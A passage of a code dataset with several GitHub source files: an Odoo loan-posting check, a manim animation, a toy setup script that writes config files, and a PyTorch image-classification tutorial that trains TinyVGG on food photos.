             ('state','=','draft'),\n                    ('company_id','=',self.env.user.company_id.id)\n                ])\n                _logger.debug(\"*DRAFT collection: %s\", collection)\n                if collection:\n                    #f540 fix\n                    #for coll in collection:\n                    #    coll.loan_id = False\n                    #    coll.loan_payment_id = False\n                    #collection.unlink()\n                    raise ValidationError(_(\"Draft record is remaining in %s! Please confirm or delete it before closing.\") % ('collection '))\n\n                pay = self.env['wc.loan.payment'].sudo().search([\n                    ('state','=','draft'),\n                    ('company_id','=',self.env.user.company_id.id)\n                ])\n                _logger.debug(\"*DRAFT loan payment: %s\", pay)\n                if pay:\n                    #f540 fix\n                    #for p in pay:\n                    #    p.collection_id = False\n                    #pay.unlink()\n                    raise ValidationError(_(\"Draft record is remaining in %s! Please confirm or delete it before closing.\") % ('payment transactions '))\n\n        _logger.debug(\"***#close_date: stop elapsed=%s\", time.time() - start)\n\n","repo_name":"AllianceWebcoop/webcoop_source","sub_path":"wc_upgrade_ver10_0_1_2/f540/posting.py","file_name":"posting.py","file_ext":"py","file_size_in_byte":3147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"73604225320","text":"from manim import *\n\n\nclass StoC(Scene):\n    def construct(self):\n        self.add(TextMobject(\"StoC\"))\n        self.wait(2)\n        self.play(FadeOut(self.mobjects[0]))\n        circle = Circle(radius=1.5, color=BLUE)\n        self.play(ShowCreation(circle))\n        square = Square(side_length=1.5, color=RED)\n        self.play(Transform(circle, square))\n        self.play(FadeOut(square))\n","repo_name":"garfield-gray/manim","sub_path":"Test/scene.py","file_name":"scene.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"31174004154","text":"import time\r\nimport os\r\nfrom datetime import datetime\r\nopentime = datetime.now().time()\r\nprint('Initalizing setup...')\r\ntime.sleep(2)\r\ns1 = open('config.config', \"w\")\r\ns1.write('localhost = 1\\nscripts = scripts\\nstart.config\\nonlocal=0\\nlocalToken=\"33434An3ikNm3am\"\\na4a4a4a4a4a4a4a4a4a4a4a4a\\ns--------------------------\\nbreak()')\r\ns1.close()\r\nprint('Config file successfully written.')\r\ntime.sleep(1)\r\nprint('creating EZlog file...')\r\ns2 = open('EZlog', \"w\")\r\ns2.write('# log setup\\nlogSetup = true\\nnil\\n')\r\ns2.close()\r\ntime.sleep(2)\r\ns3 = open('EZsetvar', 'w')\r\ns3.write('var=1\\nvar2\\nvar3\\nYou shouldnt be reading this file xd')\r\ns3.close()\r\nprint('Setting variables..')\r\ntime.sleep(2)\r\nprint('Creating Directories..')\r\nos.mkdir('EZpack1')\r\nos.mkdir('EZpack2')\r\nos.mkdir('EZpack3')\r\nos.mkdir('EZpack4')\r\nos.mkdir('EZpack5') #Creates Different Packages.\r\nos.mkdir('logKeeper') # The directory that keeps log files\r\ntime.sleep(5)\r\nprint('Writing config...')\r\ncon = open('config.config', \"w\")\r\ncon.write('config.rewrite = true\\nEZpack1\\nEZpack2\\nEZpack3\\nEZpack4\\nEZpack5\\nEZlog\\n')\r\ncon.close()\r\ntime.sleep(0.90)\r\nprint('config file rewritten.')\r\ntime.sleep(0.50)\r\nprint('Initalizing Final Setup..')\r\ncoc = open('config.config', \"a\")\r\ncoc.write('config.files.start = 1')\r\ncoc.close()\r\n\r\ntime.sleep(3)\r\nprint('Setup Complete! Say ezsetup log for what files were made/deleted')\r\nsetchance = input('>_')\r\nif setchance.strip() == 'ezsetup log':\r\n    print(opentime)\r\n    print('created config.config')\r\n    print(opentime)\r\n    print('created EZLog File.')\r\n    print(opentime)\r\n    print('Created EZsetvar')\r\n    print(opentime)\r\n    print('Set 6 Packages, EZpack1 EZpack2 EZpack3 EZpack4 EZpack5 LogKeeper')\r\n\r\nelif setchance.strip() == '':\r\n    print('exiting...')\r\ntime.sleep(0.60)\r\n\r\nprint('Exit slip')\r\nexit = input('>')","repo_name":"SeymoTheDev/skittles-stuff","sub_path":"EZPackage/EZsetup.py","file_name":"EZsetup.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"28479821130","text":"import torch\nfrom torch import nn\nfrom torch.utils.data import DataLoader, Dataset\nfrom torchvision import datasets, transforms\nfrom torchinfo import summary\n\nimport os\nimport pathlib\nimport random\nfrom PIL import Image\nfrom pathlib import Path\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom typing import Tuple, Dict, List\nfrom tqdm.auto import tqdm\nfrom timeit import default_timer as timer \n\n\n\ndef main():\n    # Setup device-agnostic code\n    device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n\n    # Setup path to data folder\n    data_path = Path(\"data/\")\n    image_path = data_path / \"pizza_steak_sushi\"\n\n    # Setup train and testing paths\n    train_dir = image_path / \"train\"\n    test_dir = image_path / \"test\"\n\n\n    # Set seed\n    random.seed(42)\n\n    # 1. Get all image paths (* means \"any combination\")\n    image_path_list = list(image_path.glob(\"*/*/*.jpg\"))\n\n    # 2. Get random image path\n    random_image_path = random.choice(image_path_list)\n\n    # 3. Get image class from path name (the image class is the name of the directory where the image is stored)\n    image_class = random_image_path.parent.stem\n\n    # 4. Open image\n    img = Image.open(random_image_path)\n\n    # 5. Print metadata\n    print(f\"Random image path: {random_image_path}\")\n    print(f\"Image class: {image_class}\")\n    print(f\"Image height: {img.height}\") \n    print(f\"Image width: {img.width}\")\n\n    # Open with local image opener\n    # img.show()\n\n    # We can also visualize using matplotlib\n\n    # Turn the image into an array\n    img_as_array = np.asarray(img)\n\n    # Plot the image with matplotlib\n    plt.figure(figsize=(10, 7))\n    plt.imshow(img_as_array)\n    plt.title(f\"Image class: {image_class} | Image shape: {img_as_array.shape} -> [height, width, color_channels]\")\n    plt.axis(False)\n    plt.show()\n\n\n    # Write transform for image\n    data_transform = transforms.Compose([\n        # Resize the images to 64x64\n        transforms.Resize(size=(64, 64)),\n        # Flip the images randomly on the horizontal\n        transforms.RandomHorizontalFlip(p=0.5), # p = probability of flip, 0.5 = 50% chance\n        # Turn the image into a torch.Tensor\n        transforms.ToTensor() # this also converts all pixel values from 0 to 255 to be between 0.0 and 1.0 \n    ])\n\n    def plot_transformed_images(image_paths, transform, n=3, seed=42):\n        \"\"\"Plots a series of random images from image_paths.\n\n        Will open n image paths from image_paths, transform them\n        with transform and plot them side by side.\n\n        Args:\n            image_paths (list): List of target image paths. \n            transform (PyTorch Transforms): Transforms to apply to images.\n            n (int, optional): Number of images to plot. Defaults to 3.\n            seed (int, optional): Random seed for the random generator. Defaults to 42.\n        \"\"\"\n        random.seed(seed)\n        random_image_paths = random.sample(image_paths, k=n)\n        for image_path in random_image_paths:\n            with Image.open(image_path) as f:\n                fig, ax = plt.subplots(1, 2)\n                ax[0].imshow(f) \n                ax[0].set_title(f\"Original \\nSize: {f.size}\")\n                ax[0].axis(\"off\")\n\n                # Transform and plot image\n                # Note: permute() will change shape of image to suit matplotlib \n                # (PyTorch default is [C, H, W] but Matplotlib is [H, W, C])\n                transformed_image = transform(f).permute(1, 2, 0) \n                ax[1].imshow(transformed_image) \n                ax[1].set_title(f\"Transformed \\nSize: {transformed_image.shape}\")\n                ax[1].axis(\"off\")\n\n                fig.suptitle(f\"Class: {image_path.parent.stem}\", fontsize=16)\n                plt.show()\n\n    plot_transformed_images(image_path_list, \n                            transform=data_transform, \n                            n=3)\n\n\n    # Option 1: Loading Image Data Using ImageFolder\n    train_data = datasets.ImageFolder(root=train_dir, # target folder of images\n                                    transform=data_transform, # transforms to perform on data (images)\n                                    target_transform=None) # transforms to perform on labels (if necessary)\n\n    test_data = datasets.ImageFolder(root=test_dir, \n                                    transform=data_transform)\n\n    print(f\"Train data:\\n{train_data}\\nTest data:\\n{test_data}\")\n\n    # Get class names as a list\n    class_names = train_data.classes\n\n    img, label = train_data[0][0], train_data[0][1]\n    print(f\"Image tensor:\\n{img}\")\n    print(f\"Image shape: {img.shape}\")\n    print(f\"Image datatype: {img.dtype}\")\n    print(f\"Image label: {label}\")\n    print(f\"Label datatype: {type(label)}\")\n\n    # Rearrange the order of dimensions\n    img_permute = img.permute(1, 2, 0)\n\n    # Print out different shapes (before and after permute)\n    print(f\"Original shape: {img.shape} -> [color_channels, height, width]\")\n    print(f\"Image permute shape: {img_permute.shape} -> [height, width, color_channels]\")\n\n    # Plot the image\n    plt.figure(figsize=(10, 7))\n    plt.imshow(img.permute(1, 2, 0))\n    plt.axis(\"off\")\n    plt.title(class_names[label], fontsize=14)\n    # plt.show()\n\n    train_dataloader = DataLoader(dataset=train_data, \n                                batch_size=1, # how many samples per batch?\n                                num_workers=1, # how many subprocesses to use for data loading? (higher = more)\n                                shuffle=True) # shuffle the data?\n\n    test_dataloader = DataLoader(dataset=test_data, \n                                batch_size=1, \n                                num_workers=1, \n                                shuffle=False) # don't usually need to shuffle testing data\n\n    print(train_dataloader, test_dataloader)\n\n\n    # Option 2: Loading Image Data with a Custom Dataset\n\n    # Make function to find classes in target directory\n    def find_classes(directory: str) -> Tuple[List[str], Dict[str, int]]:\n        \"\"\"Finds the class folder names in a target directory.\n        \n        Assumes target directory is in standard image classification format.\n\n        Args:\n            directory (str): target directory to load classnames from.\n\n        Returns:\n            Tuple[List[str], Dict[str, int]]: (list_of_class_names, dict(class_name: idx...))\n        \n        Example:\n            find_classes(\"food_images/train\")\n            >>> ([\"class_1\", \"class_2\"], {\"class_1\": 0, ...})\n        \"\"\"\n        # 1. Get the class names by scanning the target directory\n        classes = sorted(entry.name for entry in os.scandir(directory) if entry.is_dir())\n        \n        # 2. Raise an error if class names not found\n        if not classes:\n            raise FileNotFoundError(f\"Couldn't find any classes in {directory}.\")\n            \n        # 3. Create a dictionary of index labels (computers prefer numerical rather than string labels)\n        class_to_idx = {cls_name: i for i, cls_name in enumerate(classes)}\n        return classes, class_to_idx\n\n    print(find_classes(train_dir))\n\n    # 1. Subclass torch.utils.data.Dataset\n    class ImageFolderCustom(Dataset):\n        \n        # 2. Initialize with a targ_dir and transform (optional) parameter\n        def __init__(self, targ_dir: str, transform=None) -> None:\n            \n            # 3. Create class attributes\n            # Get all image paths\n            self.paths = list(pathlib.Path(targ_dir).glob(\"*/*.jpg\")) # note: you'd have to update this if you've got .png's or .jpeg's\n            # Setup transforms\n            self.transform = transform\n            # Create classes and class_to_idx attributes\n            self.classes, self.class_to_idx = find_classes(targ_dir)\n\n        # 4. Make function to load images\n        def load_image(self, index: int) -> Image.Image:\n            \"Opens an image via a path and returns it.\"\n            image_path = self.paths[index]\n            return Image.open(image_path) \n        \n        # 5. Overwrite the __len__() method (optional but recommended for subclasses of torch.utils.data.Dataset)\n        def __len__(self) -> int:\n            \"Returns the total number of samples.\"\n            return len(self.paths)\n        \n        # 6. Overwrite the __getitem__() method (required for subclasses of torch.utils.data.Dataset)\n        def __getitem__(self, index: int) -> Tuple[torch.Tensor, int]:\n            \"Returns one sample of data, data and label (X, y).\"\n            img = self.load_image(index)\n            class_name  = self.paths[index].parent.name # expects path in data_folder/class_name/image.jpeg\n            class_idx = self.class_to_idx[class_name]\n\n            # Transform if necessary\n            if self.transform:\n                return self.transform(img), class_idx # return data, label (X, y)\n            else:\n                return img, class_idx # return data, label (X, y)\n\n    # Augment train data\n    train_transforms = transforms.Compose([\n        transforms.Resize((64, 64)),\n        transforms.RandomHorizontalFlip(p=0.5),\n        transforms.ToTensor()\n    ])\n\n    # Don't augment test data, only reshape\n    test_transforms = transforms.Compose([\n        transforms.Resize((64, 64)),\n        transforms.ToTensor()\n    ])\n\n    train_data_custom = ImageFolderCustom(targ_dir=train_dir, \n                                        transform=train_transforms)\n    test_data_custom = ImageFolderCustom(targ_dir=test_dir, \n                                        transform=test_transforms)\n\n    # Check for equality amongst our custom Dataset and ImageFolder Dataset\n    print((len(train_data_custom) == len(train_data)) & (len(test_data_custom) == len(test_data)))\n    print(train_data_custom.classes == train_data.classes)\n    print(train_data_custom.class_to_idx == train_data.class_to_idx)\n\n    # 1. Take in a Dataset as well as a list of class names\n    def display_random_images(dataset: torch.utils.data.dataset.Dataset,\n                            classes: List[str] = None,\n                            n: int = 10,\n                            display_shape: bool = True,\n                            seed: int = None):\n        \n        # 2. Adjust display if n too high\n        if n > 10:\n            n = 10\n            display_shape = False\n            print(f\"For display purposes, n shouldn't be larger than 10, setting to 10 and removing shape display.\")\n        \n        # 3. Set random seed\n        if seed:\n            random.seed(seed)\n\n        # 4. Get random sample indexes\n        random_samples_idx = random.sample(range(len(dataset)), k=n)\n\n        # 5. Setup plot\n        plt.figure(figsize=(16, 8))\n\n        # 6. Loop through samples and display random samples \n        for i, targ_sample in enumerate(random_samples_idx):\n            targ_image, targ_label = dataset[targ_sample][0], dataset[targ_sample][1]\n\n            # 7. Adjust image tensor shape for plotting: [color_channels, height, width] -> [color_channels, height, width]\n            targ_image_adjust = targ_image.permute(1, 2, 0)\n\n            # Plot adjusted samples\n            plt.subplot(1, n, i+1)\n            plt.imshow(targ_image_adjust)\n            plt.axis(\"off\")\n            if classes:\n                title = f\"class: {classes[targ_label]}\"\n                if display_shape:\n                    title = title + f\"\\nshape: {targ_image_adjust.shape}\"\n            plt.title(title)\n        \n        plt.show()\n\n\n\n    # Display random images from ImageFolder created Dataset\n    display_random_images(train_data, \n                        n=5, \n                        classes=class_names,\n                        seed=None)\n\n    # Display random images from ImageFolderCustom Dataset\n    display_random_images(train_data_custom, \n                        n=12, \n                        classes=class_names,\n                        seed=None) # Try setting the seed for reproducible images\n\n    # Turn custom loaded images into DataLoader's\n    train_dataloader_custom = DataLoader(dataset=train_data_custom, # use custom created train Dataset\n                                        batch_size=1, # how many samples per batch?\n                                        num_workers=0, # how many subprocesses to use for data loading? (higher = more)\n                                        shuffle=True) # shuffle the data?\n\n    test_dataloader_custom = DataLoader(dataset=test_data_custom, # use custom created test Dataset\n                                        batch_size=1, \n                                        num_workers=0, \n                                        shuffle=False) # don't usually need to shuffle testing data\n\n    train_transforms = transforms.Compose([\n        transforms.Resize((224, 224)),\n        transforms.TrivialAugmentWide(num_magnitude_bins=31), # how intense \n        transforms.ToTensor() # use ToTensor() last to get everything between 0 & 1\n    ])\n\n    # Don't need to perform augmentation on the test data\n    test_transforms = transforms.Compose([\n        transforms.Resize((224, 224)), \n        transforms.ToTensor()\n    ])\n\n    # Get all image paths\n    image_path_list = list(image_path.glob(\"*/*/*.jpg\"))\n\n    # Plot random images\n    plot_transformed_images(\n        image_paths=image_path_list,\n        transform=train_transforms,\n        n=3,\n        seed=None\n    )\n\n    # Create simple transform\n    simple_transform = transforms.Compose([ \n        transforms.Resize((64, 64)),\n        transforms.ToTensor(),\n    ])\n\n\n    # 1. Load and transform data\n    train_data_simple = datasets.ImageFolder(root=train_dir, transform=simple_transform)\n    test_data_simple = datasets.ImageFolder(root=test_dir, transform=simple_transform)\n\n    # 2. Turn data into DataLoaders\n\n    # Setup batch size and number of workers \n    BATCH_SIZE = 32\n    # NUM_WORKERS = os.cpu_count() // 2\n    NUM_WORKERS = 0\n    print(f\"Creating DataLoader's with batch size {BATCH_SIZE} and {NUM_WORKERS} workers.\")\n\n    # Create DataLoader's\n    train_dataloader_simple = DataLoader(train_data_simple, \n                                        batch_size=BATCH_SIZE, \n                                        shuffle=True, \n                                        num_workers=NUM_WORKERS)\n\n    test_dataloader_simple = DataLoader(test_data_simple, \n                                        batch_size=BATCH_SIZE, \n                                        shuffle=False, \n                                        num_workers=NUM_WORKERS)\n\n    class TinyVGG(nn.Module):\n        \"\"\"\n        Model architecture copying TinyVGG from: \n        https://poloclub.github.io/cnn-explainer/\n        \"\"\"\n        def __init__(self, input_shape: int, hidden_units: int, output_shape: int) -> None:\n            super().__init__()\n            self.conv_block_1 = nn.Sequential(\n                nn.Conv2d(in_channels=input_shape, \n                        out_channels=hidden_units, \n                        kernel_size=3, # how big is the square that's going over the image?\n                        stride=1, # default\n                        padding=1), # options = \"valid\" (no padding) or \"same\" (output has same shape as input) or int for specific number \n                nn.ReLU(),\n                nn.Conv2d(in_channels=hidden_units, \n                        out_channels=hidden_units,\n                        kernel_size=3,\n                        stride=1,\n                        padding=1),\n                nn.ReLU(),\n                nn.MaxPool2d(kernel_size=2,\n                            stride=2) # default stride value is same as kernel_size\n            )\n            self.conv_block_2 = nn.Sequential(\n                nn.Conv2d(hidden_units, hidden_units, kernel_size=3, padding=1),\n                nn.ReLU(),\n                nn.Conv2d(hidden_units, hidden_units, kernel_size=3, padding=1),\n                nn.ReLU(),\n                nn.MaxPool2d(2)\n            )\n            self.classifier = nn.Sequential(\n                nn.Flatten(),\n                # Where did this in_features shape come from? \n                # It's because each layer of our network compresses and changes the shape of our inputs data.\n                nn.Linear(in_features=hidden_units*16*16,\n                        out_features=output_shape)\n            )\n        \n        def forward(self, x: torch.Tensor):\n            # x = self.conv_block_1(x)\n            # print(x.shape)\n            # x = self.conv_block_2(x)\n            # print(x.shape)\n            # x = self.classifier(x)\n            # print(x.shape)\n            # return x\n            return self.classifier(self.conv_block_2(self.conv_block_1(x))) # <- leverage the benefits of operator fusion\n\n    torch.manual_seed(42)\n    model_0 = TinyVGG(input_shape=3, # number of color channels (3 for RGB) \n                    hidden_units=10, \n                    output_shape=len(train_data.classes)).to(device)\n\n    print(model_0)\n\n    # 1. Get a batch of images and labels from the DataLoader\n    img_batch, label_batch = next(iter(train_dataloader_simple))\n\n    # 2. Get a single image from the batch and unsqueeze the image so its shape fits the model\n    img_single, label_single = img_batch[0].unsqueeze(dim=0), label_batch[0]\n    print(f\"Single image shape: {img_single.shape}\\n\")\n\n    # 3. Perform a forward pass on a single image\n    model_0.eval()\n    with torch.inference_mode():\n        pred = model_0(img_single.to(device))\n        \n    # 4. Print out what's happening and convert model logits -> pred probs -> pred label\n    print(f\"Output logits:\\n{pred}\\n\")\n    print(f\"Output prediction probabilities:\\n{torch.softmax(pred, dim=1)}\\n\")\n    print(f\"Output prediction label:\\n{torch.argmax(torch.softmax(pred, dim=1), dim=1)}\\n\")\n    print(f\"Actual label:\\n{label_single}\")\n\n\n    summary(model_0, input_size=[1, 3, 64, 64]) # do a test pass through of an example input size\n\n\n    def train_step(model: torch.nn.Module, dataloader: torch.utils.data.DataLoader, loss_fn: torch.nn.Module, optimizer: torch.optim.Optimizer):\n        # Put model in train mode\n        model.train()\n        \n        # Setup train loss and train accuracy values\n        train_loss, train_acc = 0, 0\n        \n        # Loop through data loader data batches\n        for batch, (X, y) in enumerate(dataloader):\n            # Send data to target device\n            X, y = X.to(device), y.to(device)\n\n            # 1. Forward pass\n            y_pred = model(X)\n\n            # 2. Calculate  and accumulate loss\n            loss = loss_fn(y_pred, y)\n            train_loss += loss.item() \n\n            # 3. Optimizer zero grad\n            optimizer.zero_grad()\n\n            # 4. Loss backward\n            loss.backward()\n\n            # 5. Optimizer step\n            optimizer.step()\n\n            # Calculate and accumulate accuracy metric across all batches\n            y_pred_class = torch.argmax(torch.softmax(y_pred, dim=1), dim=1)\n            train_acc += (y_pred_class == y).sum().item()/len(y_pred)\n\n        # Adjust metrics to get average loss and accuracy per batch \n        train_loss = train_loss / len(dataloader)\n        train_acc = train_acc / len(dataloader)\n        return train_loss, train_acc\n\n    def test_step(model: torch.nn.Module, dataloader: torch.utils.data.DataLoader, loss_fn: torch.nn.Module):\n        # Put model in eval mode\n        model.eval() \n        \n        # Setup test loss and test accuracy values\n        test_loss, test_acc = 0, 0\n        \n        # Turn on inference context manager\n        with torch.inference_mode():\n            # Loop through DataLoader batches\n            for batch, (X, y) in enumerate(dataloader):\n                # Send data to target device\n                X, y = X.to(device), y.to(device)\n        \n                # 1. Forward pass\n                test_pred_logits = model(X)\n\n                # 2. Calculate and accumulate loss\n                loss = loss_fn(test_pred_logits, y)\n                test_loss += loss.item()\n                \n                # Calculate and accumulate accuracy\n                test_pred_labels = test_pred_logits.argmax(dim=1)\n                test_acc += ((test_pred_labels == y).sum().item()/len(test_pred_labels))\n                \n        # Adjust metrics to get average loss and accuracy per batch \n        test_loss = test_loss / len(dataloader)\n        test_acc = test_acc / len(dataloader)\n        return test_loss, test_acc\n\n    # 1. Take in various parameters required for training and test steps\n    def train(model: torch.nn.Module, train_dataloader: torch.utils.data.DataLoader, test_dataloader: torch.utils.data.DataLoader, optimizer: torch.optim.Optimizer, loss_fn: torch.nn.Module = nn.CrossEntropyLoss(), epochs: int = 5):\n        \n        # 2. Create empty results dictionary\n        results = {\"train_loss\": [],\n            \"train_acc\": [],\n            \"test_loss\": [],\n            \"test_acc\": []\n        }\n        \n        # 3. Loop through training and testing steps for a number of epochs\n        for epoch in tqdm(range(epochs)):\n            train_loss, train_acc = train_step(model=model,\n                                            dataloader=train_dataloader,\n                                            loss_fn=loss_fn,\n                                            optimizer=optimizer)\n            test_loss, test_acc = test_step(model=model,\n                dataloader=test_dataloader,\n                loss_fn=loss_fn)\n            \n            # 4. Print out what's happening\n            print(\n                f\"Epoch: {epoch+1} | \"\n                f\"train_loss: {train_loss:.4f} | \"\n                f\"train_acc: {train_acc:.4f} | \"\n                f\"test_loss: {test_loss:.4f} | \"\n                f\"test_acc: {test_acc:.4f}\"\n            )\n\n            # 5. Update results dictionary\n            results[\"train_loss\"].append(train_loss)\n            results[\"train_acc\"].append(train_acc)\n            results[\"test_loss\"].append(test_loss)\n            results[\"test_acc\"].append(test_acc)\n\n        # 6. Return the filled results at the end of the epochs\n        return results\n\n    # Set random seeds\n    torch.manual_seed(42) \n\n    # Set number of epochs\n    NUM_EPOCHS = 5\n\n    # Recreate an instance of TinyVGG\n    model_0 = TinyVGG(input_shape=3, # number of color channels (3 for RGB) \n                    hidden_units=10, \n                    output_shape=len(train_data.classes)).to(device)\n\n    # Setup loss function and optimizer\n    loss_fn = nn.CrossEntropyLoss()\n    optimizer = torch.optim.Adam(params=model_0.parameters(), lr=0.001)\n\n    # Start the timer\n    from timeit import default_timer as timer \n    start_time = timer()\n\n    # Train model_0 \n    model_0_results = train(model=model_0, \n                            train_dataloader=train_dataloader_simple,\n                            test_dataloader=test_dataloader_simple,\n                            optimizer=optimizer,\n                            loss_fn=loss_fn, \n                            epochs=NUM_EPOCHS)\n\n    # End the timer and print out how long it took\n    end_time = timer()\n    print(f\"Total training time: {end_time-start_time:.3f} seconds\")\n\n    def plot_loss_curves(results: Dict[str, List[float]]):\n        \"\"\"Plots training curves of a results dictionary.\n\n        Args:\n            results (dict): dictionary containing list of values, e.g.\n                {\"train_loss\": [...],\n                \"train_acc\": [...],\n                \"test_loss\": [...],\n                \"test_acc\": [...]}\n        \"\"\"\n        \n        # Get the loss values of the results dictionary (training and test)\n        loss = results['train_loss']\n        test_loss = results['test_loss']\n\n        # Get the accuracy values of the results dictionary (training and test)\n        accuracy = results['train_acc']\n        test_accuracy = results['test_acc']\n\n        # Figure out how many epochs there were\n        epochs = range(len(results['train_loss']))\n\n        # Setup a plot \n        plt.figure(figsize=(15, 7))\n\n        # Plot loss\n        plt.subplot(1, 2, 1)\n        plt.plot(epochs, loss, label='train_loss')\n        plt.plot(epochs, test_loss, label='test_loss')\n        plt.title('Loss')\n        plt.xlabel('Epochs')\n        plt.legend()\n\n        # Plot accuracy\n        plt.subplot(1, 2, 2)\n        plt.plot(epochs, accuracy, label='train_accuracy')\n        plt.plot(epochs, test_accuracy, label='test_accuracy')\n        plt.title('Accuracy')\n        plt.xlabel('Epochs')\n        plt.legend()\n        plt.show()\n\n    plot_loss_curves(model_0_results)\n\n    # Create training transform with TrivialAugment\n    train_transform_trivial_augment = transforms.Compose([\n        transforms.Resize((64, 64)),\n        transforms.TrivialAugmentWide(num_magnitude_bins=31),\n        transforms.ToTensor() \n    ])\n\n    # Create testing transform (no data augmentation)\n    test_transform = transforms.Compose([\n        transforms.Resize((64, 64)),\n        transforms.ToTensor()\n    ])\n\n    # Turn image folders into Datasets\n    train_data_augmented = datasets.ImageFolder(train_dir, transform=train_transform_trivial_augment)\n    test_data_simple = datasets.ImageFolder(test_dir, transform=test_transform)\n\n    BATCH_SIZE = 32\n    NUM_WORKERS = 0\n\n    torch.manual_seed(42)\n    train_dataloader_augmented = DataLoader(train_data_augmented, \n                                            batch_size=BATCH_SIZE, \n                                            shuffle=True,\n                                            num_workers=NUM_WORKERS)\n\n    test_dataloader_simple = DataLoader(test_data_simple, \n                                        batch_size=BATCH_SIZE, \n                                        shuffle=False, \n                                        num_workers=NUM_WORKERS)\n\n    # Create model_1 and send it to the target device\n    torch.manual_seed(42)\n    model_1 = TinyVGG(\n        input_shape=3,\n        hidden_units=10,\n        output_shape=len(train_data_augmented.classes)).to(device)\n\n    # Set random seeds\n    torch.manual_seed(42) \n    torch.cuda.manual_seed(42)\n\n    # Set number of epochs\n    NUM_EPOCHS = 5\n\n    # Setup loss function and optimizer\n    loss_fn = nn.CrossEntropyLoss()\n    optimizer = torch.optim.Adam(params=model_1.parameters(), lr=0.001)\n\n    # Start the timer\n    from timeit import default_timer as timer \n    start_time = timer()\n\n    # Train model_1\n    model_1_results = train(model=model_1, \n                            train_dataloader=train_dataloader_augmented,\n                            test_dataloader=test_dataloader_simple,\n                            optimizer=optimizer,\n                            loss_fn=loss_fn, \n                            epochs=NUM_EPOCHS)\n\n    # End the timer and print out how long it took\n    end_time = timer()\n    print(f\"Total training time: {end_time-start_time:.3f} seconds\")\n\n    plot_loss_curves(model_1_results)\n\n\n    model_0_df = pd.DataFrame(model_0_results)\n    model_1_df = pd.DataFrame(model_1_results)\n    print(model_0_df)\n\n    # Setup a plot \n    plt.figure(figsize=(15, 10))\n\n    # Get number of epochs\n    epochs = range(len(model_0_df))\n\n    # Plot train loss\n    plt.subplot(2, 2, 1)\n    plt.plot(epochs, model_0_df[\"train_loss\"], label=\"Model 0\")\n    plt.plot(epochs, model_1_df[\"train_loss\"], label=\"Model 1\")\n    plt.title(\"Train Loss\")\n    plt.xlabel(\"Epochs\")\n    plt.legend()\n\n    # Plot test loss\n    plt.subplot(2, 2, 2)\n    plt.plot(epochs, model_0_df[\"test_loss\"], label=\"Model 0\")\n    plt.plot(epochs, model_1_df[\"test_loss\"], label=\"Model 1\")\n    plt.title(\"Test Loss\")\n    plt.xlabel(\"Epochs\")\n    plt.legend()\n\n    # Plot train accuracy\n    plt.subplot(2, 2, 3)\n    plt.plot(epochs, model_0_df[\"train_acc\"], label=\"Model 0\")\n    plt.plot(epochs, model_1_df[\"train_acc\"], label=\"Model 1\")\n    plt.title(\"Train Accuracy\")\n    plt.xlabel(\"Epochs\")\n    plt.legend()\n\n    # Plot test accuracy\n    plt.subplot(2, 2, 4)\n    plt.plot(epochs, model_0_df[\"test_acc\"], label=\"Model 0\")\n    plt.plot(epochs, model_1_df[\"test_acc\"], label=\"Model 1\")\n    plt.title(\"Test Accuracy\")\n    plt.xlabel(\"Epochs\")\n    plt.legend()\n    plt.show()\n\n    # Download custom image\n    import requests\n\n    # Setup custom image path\n    custom_image_path = data_path / \"04-pizza-dad.jpeg\"\n\n    # Download the image if it doesn't already exist\n    if not custom_image_path.is_file():\n        with open(custom_image_path, \"wb\") as f:\n            # When downloading from GitHub, need to use the \"raw\" file link\n            request = requests.get(\"https://raw.githubusercontent.com/mrdbourke/pytorch-deep-learning/main/images/04-pizza-dad.jpeg\")\n            print(f\"Downloading {custom_image_path}...\")\n            f.write(request.content)\n    else:\n        print(f\"{custom_image_path} already exists, skipping download.\")\n\n    # Read in custom image\n    import torchvision\n    custom_image_uint8 = torchvision.io.read_image(str(custom_image_path))\n\n    # Print out image data\n    print(f\"Custom image tensor:\\n{custom_image_uint8}\\n\")\n    print(f\"Custom image shape: {custom_image_uint8.shape}\\n\")\n    print(f\"Custom image dtype: {custom_image_uint8.dtype}\")\n\n    # Load in custom image and convert the tensor values to float32\n    custom_image = torchvision.io.read_image(str(custom_image_path)).type(torch.float32)\n\n    # Divide the image pixel values by 255 to get them between [0, 1]\n    custom_image = custom_image / 255. \n\n    # Print out image data\n    print(f\"Custom image tensor:\\n{custom_image}\\n\")\n    print(f\"Custom image shape: {custom_image.shape}\\n\")\n    print(f\"Custom image dtype: {custom_image.dtype}\")\n\n    # Plot custom image\n    plt.imshow(custom_image.permute(1, 2, 0)) # need to permute image dimensions from CHW -> HWC otherwise matplotlib will error\n    plt.title(f\"Image shape: {custom_image.shape}\")\n    plt.axis(False)\n    plt.show()\n\n    # Create transform pipleine to resize image\n    custom_image_transform = transforms.Compose([\n        transforms.Resize((64, 64)),\n    ])\n\n    # Transform target image\n    custom_image_transformed = custom_image_transform(custom_image)\n\n    # Print out original shape and new shape\n    print(f\"Original shape: {custom_image.shape}\")\n    print(f\"New shape: {custom_image_transformed.shape}\")\n\n    model_1.eval()\n    with torch.inference_mode():\n        # Add an extra dimension to image\n        custom_image_transformed_with_batch_size = custom_image_transformed.unsqueeze(dim=0)\n        \n        # Print out different shapes\n        print(f\"Custom image transformed shape: {custom_image_transformed.shape}\")\n        print(f\"Unsqueezed custom image shape: {custom_image_transformed_with_batch_size.shape}\")\n        \n        # Make a prediction on image with an extra dimension\n        custom_image_pred = model_1(custom_image_transformed.unsqueeze(dim=0).to(device))\n\n    # Print out prediction logits\n    print(f\"Prediction logits: {custom_image_pred}\")\n\n    # Convert logits -> prediction probabilities (using torch.softmax() for multi-class classification)\n    custom_image_pred_probs = torch.softmax(custom_image_pred, dim=1)\n    print(f\"Prediction probabilities: {custom_image_pred_probs}\")\n\n    # Convert prediction probabilities -> prediction labels\n    custom_image_pred_label = torch.argmax(custom_image_pred_probs, dim=1)\n    print(f\"Prediction label: {custom_image_pred_label}\")\n\n    # Find the predicted label\n    custom_image_pred_class = class_names[custom_image_pred_label.cpu()] # put pred label to CPU, otherwise will error\n\n    def pred_and_plot_image(model: 